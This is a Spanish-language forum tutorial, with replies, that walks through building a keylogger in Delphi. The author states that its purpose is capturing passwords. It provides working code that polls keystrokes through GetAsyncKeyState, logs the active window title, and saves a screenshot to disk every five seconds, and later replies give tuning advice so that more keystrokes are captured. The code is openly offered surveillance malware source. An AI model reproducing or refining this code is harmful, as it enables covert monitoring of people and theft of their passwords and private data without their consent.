[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.

Imagen


Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :

Imagen


Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código: Seleccionar todo

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer; // Declaramos la variable i como entero
  re: Longint; // Declaramos la variable re como longint
  mayus: integer; // Declaramos la variable mayus como entero

begin

  if (GetKeyState(20) = 0) then // Si se presiona mayus
  begin
    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  end
  else
  begin
    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  end;

  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  begin

    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
    If re = -32767 then // Contolamos que la variable re sea igual a -32767
    Begin

      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
      // Mas la variabe mayus
    End;
  end;

end;
Una imagen con todo el codigo comentado :

Imagen


Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código: Seleccionar todo

private Nombre2: string;
Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código: Seleccionar todo

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  nombre1: string; // Declaramos nombre1 como string

  // Add :
  // private
  // Nombre2: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  // Capturamos el nombre de la
  // ventana

  nombre1 := ventana1; // nombre1 tendra el valor de ventana1

  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  begin
    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  end;
end;
Una imagen con el codigo comentado :

Imagen


Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código: Seleccionar todo

procedure TForm1.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  ventana: HDC; // Declaramos aca como HDC

begin

  // Agregar "Jpeg" a "uses"

  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca

  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  foto1.Height := Screen.Height; // Capturamos el tamaño
  foto1.Width := Screen.Width; // Capturamos el tamaño

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY); // Tomamos la foto con los datos antes usados

  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  foto2.Assign(foto1); // Asignamos foto1 en foto2
  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen

  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  // Guardamos la foto tomada
  // con un valor numerico
  // aleatorio mas el formato
  // '.jpg'

end;
Una imagen con el codigo comentado :

Imagen


Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :

Imagen


Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :

Imagen


Eso seria todo.

El manual esta disponible en PDF [Enlace externo eliminado para invitados].

--========--
The End ?
--========--
Me servira Cuando me anime con delphi xD
[code2=masm]"For the honor of a king. And the destiny of a country. All for one."[/code2]
Hola que tal, probe y no me dio resultado :( nadmaas me sale el nombre de la ventana mas no lo que escribo y la pantalla donde la guarda o como funciona??, donde puedo ver las pantallas que captura.
angelus191919 escribió:Hola que tal, probe y no me dio resultado :( nadmaas me sale el nombre de la ventana mas no lo que escribo y la pantalla donde la guarda o como funciona??, donde puedo ver las pantallas que captura.
Es que debes cambiar el intervalo del primer Timer1 y ponerlo en 50 milisegundo, no te captura las teclas porque esta en 1000 milisegundo y es por eso que solo te captura algunas.
Buen aporte chaval! Pero que puedo hacer con el memo? Estoy que escribo con el proyecto compilado y las palabras se me recorren al inicio y no puedo ver bien las palabras..... Help me!
Responder

Volver a “Manuales”